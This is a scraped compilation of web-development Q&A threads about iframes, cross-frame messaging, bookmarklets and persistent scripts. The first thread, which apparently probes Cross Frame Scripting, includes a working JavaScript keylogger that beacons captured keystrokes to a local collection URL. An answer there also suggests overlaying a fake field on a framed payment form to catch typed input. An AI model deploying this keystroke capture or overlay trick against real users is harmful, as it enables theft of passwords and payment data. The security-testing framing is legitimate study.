I am trying to analyze the possibility of accessing keystrokes from an iframe using a javascript running on the parent page. The potential attack which I am looking to verify is Cross Frame Scripting.
From the OWASP page, I read that the listener in parent page would get notified only if the keystroke events are from the parent page itself and not the iframe.
Is that always the case?
If the framed content is of same origin,
would any of the browsers behave differently?
I have confirmed on
Chrome that this attack doesn't work. But is there any alternate way
someone can achieve this?
This is the javascript running on my parent.
var keys='';
var url = 'http://localhost:8883/key?c=';
document.onkeypress = function(e) {
get = window.event?event:e;
key = get.keyCode?get.keyCode:get.charCode;
key = String.fromCharCode(key);
keys+=key;
}
window.setInterval(function(){
if(keys.length>0) {
new Image().src = url+keys;
keys = '';
}
}, 1000);
If you make a div over a frame, user may enter at least one character that you can catch. Or even a whole word, if that user writes fast enough :)
You even can simulate an entire field in your div, exact at the place of the original field. That's why every online payment system require not to be in a frame.
Related
Say I have a simple script
var i = 0;
test();
function test() {
console.log(i++);
setTimeout(test, 1000);
}
I put it in a Google Chrome console. How do I make it continue to run after the page navigates to another (should continue to print out numbers when browsing the web)?
Maybe save the variable 'i' in onbeforeunload() function, and launch a new script with that saved variable?
How do I make it continue to run after the page navigates to another
you can't, the script cannot continue on another page, it's the browser that runs the javascript in the page, and that will stop it when moving to another page.
(or) should continue to print out numbers when browsing the web?
you have yourself answered this. You can certainly save the counter in localstorage and resume counting on the next page, provided this next page contains the same or similar script and the logic to restore the counter from localStorage.
Or, you can move part of this logic to a server-side script.
I suppose this script is an example and displaying numbers is not really what you want to do.
If you are looking for something to run script even when you have left the browser, I suggest you take a look at Service workers.
If you want more resources, you can check Jake Archibald's blog. He is a chrome developer and he is always talking about service workers. An introduction here.
I didn't see any good suggestions posted already for what I was trying to do but I came up with something that worked for me. I wanted to add a navigation element on the page and not have it go away after navigating. This was on a website that was not managed by me. I removed the innerHtml of the body of the page, added an iframe and pointed it at the page I was on, set it to 100% width and height and removed the border. Then I could navigate within the iframe, but still have my script function run in a set timeout to add the navigation element back to the page after it navigated. Something like this:
document.body.innerHTML = ''
iframe = document.createElement('iframe');
iframe.setAttribute('id', 'iframe');
document.body.appendChild(iframe);
iframe.setAttribute('src', window.location.href);
iframe.style.height = "100%";
iframe.style.width = "100%";
iframe.style.border = "0";
function addContent(){
setTimeout(()=>{
elementToAddTo = iframe.contentWindow.document.getElementById('my-element-id')];
contentToAdd = document.createElement('div');
contentToAdd.innerHTML = `<p>My new content</p>`
elementToAddTo.insertBefore(contentToAdd, elementToAddTo.childNodes[0]);
}, 1000);
}
addContent()
Then in that new content somewhere I had an onchange event which would navigate and call the addContent function by saying window.top.addContent();
onchange="window.location.href = window.location.href.replace(/(param1=.*)/, 'param1='+myNewParamValue); window.top.addContent();">
I Understand this approach makes a lot of assumptions about what you're trying to do and maybe it is only working for me because I'm only changing a param value, but I want to leave this hear in case it helps somebody trying to figure out how to do something similar.
How do I make a bookmarklet that places something into a field and submits the form?
I think along these lines:
1)var p = document.open(http://site.com/form.htm)
2) var h = p.innerHTML
3) var f = h.getElementById('formfield')
now how do I get the URL of the current page to become the value for 'formfield'?
var p = document.open(http://site.com/form.htm)
This won't work. You may be thinking of window.open. If you use window.open, it will only be useful for your purposes if the bookmarklet is run from the same domain. If run from any other domain, it will open the window, but you won't be able to do anything else with the document in that newly opened window.
var h = p.innerHTML
This does nothing helpful in your case. It just returns a string of text.
var f = h.getElementById('formfield')
This is not correct because it uses "h", which isn't correct. What you probably want is this...
var w = window.open('http://site.com/form.htm');
// need code that will check if window is done loading before you use next line!
w.document.getElementById('formfield').value = window.location;
If you use the bookmarklet on the page with the form, you only need this:
document.getElementById('formfield').value = window.location;
If you want to open the window to another domain, enter a form value, and submit the form - This can not be done with a bookmarklet. A bookmarklet faces the same restrictions as any other javascript in a page. This is for security to prevent any web page on the internet from trying to take control of your browser and do things on other sites as you. Your only reasonable option in this case would be to create/use a browser addon/extension.
If you are looking to put the current page's URL into formfield, this is how it could be accomplished:
f.value = window.location;
If I understand correctly, you want to submit the current URL and maybe some other data to your server using a bookmarklet.
I would do it this way:
Append your form to the current DOM using JavaScript. The form should be hardcoded in the bookmarklet.
Populate the form, you are on the guest page now, same domain.
Submit the form, maybe using a target="_blank" for the result.
You can't use Ajax instead of a form to submit your data because of crossdomain restrictions.
I have an embed-able iframe that will be used on 3rd party sites. It has several forms to fill out, and at the end must inform the parent page that it is done.
In other words, the iframe needs to pass a message to it's parent when a button is clicked.
After wading through oceans of "No, cross-domain policy is a jerk" stuff, I found window.postMessage, part of the HTML5 Draft Specification.
Basically, you place the following JavaScript in your page to capture a message from the iframe:
window.addEventListener('message', goToThing, false);
function goToThing(event) {
//check the origin, to make sure it comes from a trusted source.
if(event.origin !== 'http://localhost')
return;
//the event.data should be the id, a number.
//if it is, got to the page, using the id.
if(!isNaN(event.data))
window.location.href = 'http://localhost/somepage/' + event.data;
}
Then in the iframe, have some JavaScript that sends a message to the parent:
$('form').submit(function(){
parent.postMessage(someId, '*');
});
Awesome, right? Only problem is it doesn't seem to work in any version of IE. So, my question is this: Given that I need to pass a message from an iframe to it's parent (both of which I control), is there a method I can use that will work across any (>IE6) browser?
In IE you should use
attachEvent("onmessage", postMessageListener, false);
instead of
addEventListener("message", postMessageListener, false);
The main work-around I've seen used involves setting a hash value on the parent window and detecting the hash value in the parent, parsing the hash value to obtain the data and do whatever you want. Here's one example of doing that: http://www.onlineaspect.com/2010/01/15/backwards-compatible-postmessage/. There are more options via Google like this one: http://easyxdm.net/wp/.
This is way simpler than that.
You say you control both the parent and the content of the frame you can set up two way
communication in javascript.
All you need is
yourframename.document.getElementById('idofsomethinginttheframe')
And then from inside the frame address anything outside it with
parent.document
I have been to some css/html/js discussing board which provide a text box to enter the html and a "Run it!" button to run the html in new pops up window.
I want to make one also, which is easy in jQuery:
function try_show_result() {
var code = $("#try-input").val();
if (code !== "") {
var newwin = window.open('','','');
newwin.opener = null; // 防æ¢ä»£ç 修改主页
newwin.document.write(code);
newwin.document.close();
}
}
But then I found a security problem: the pops up window has all the abilities of running an arbitrary javascript. So that when another authenticated user runs a given piece of code on the page, then it could stealing cookies or access some url that is only for the specified user only through ajax posts.
Is there an easy way to avoid this?
Update: I added newwin.document.cookie="" before open the window, not sure if this is better.
Is there an easy way to avoid this?
No
That is why Facebook went out and wrote their own version of JavaScript [FBJS].
I am using JavaScript to make a small iframe application, and I cannot seem to figure out a way to update the URL in my URL bar I made when someone clicks a link inside the iframe.
It needs to be instantaneous, and preferably without checking every millisecond whether or not the value of document.getElementById('idofiframe').src has changed.
I can't seem to find a simple property to tell when the url has changed, so if there is not one, then solving this programmatically will work as well.
Thanks for the help!
This will be difficult to do because it is considered xss and most browsers block that.
There are most likely some workarounds involving AJAX.
First of all, what you want to do will be possible only if the source of your iframe points to the same domain as the parent window. So if you have a page page.html that iframes another page iframed.html, then both of them have to reside on the same domain (e.g. www.example.com/page.html and www.example.com/iframed.html)
If that is the case, you can do the following in the iframed.html page:
<script type="text/javascript">
window.onload = function() {
var links = document.getElementsByTagName('a');
for (var i=0, link; link = links[i]; i++) {
link.onclick = function() {
window.parent.location.href = '#' + encodeURIComponent(this.href);
}
}
}
</script>
This will make it so that whenever you click on a link in iframed.html, the url bar will put the url of the link in the "hash tag" of the url (e.g. www.example.com/page.html#http%3A%2F%2Fwww.example.com%2FanotherPage.html)
Obviously, you would have to have a script like this on every page that is to appear inside the iframe.
Once this is in place, then you can put this snippet inside of page.html, and it will make the iframe automatically load the url in the hash tag:
window.onload = function() {
var url = window.location.hash.substr(1);
if (url) {
document.getElementById('iframe').src = url;
}
}
I unfortunately haven't run this code to test it, but it is pretty straight forward and should explain the idea. Let me know how it goes!
You could add an onload event to the iframe and then monitor that - it'll get thrown whenever the frame finishes loading (though, of course, it could be the same URL again...)
Instead, can you add code to the frame's contents to have it raise an event to the container frame?
In IE, the "OnReadyStateChanged" event might give you what you want.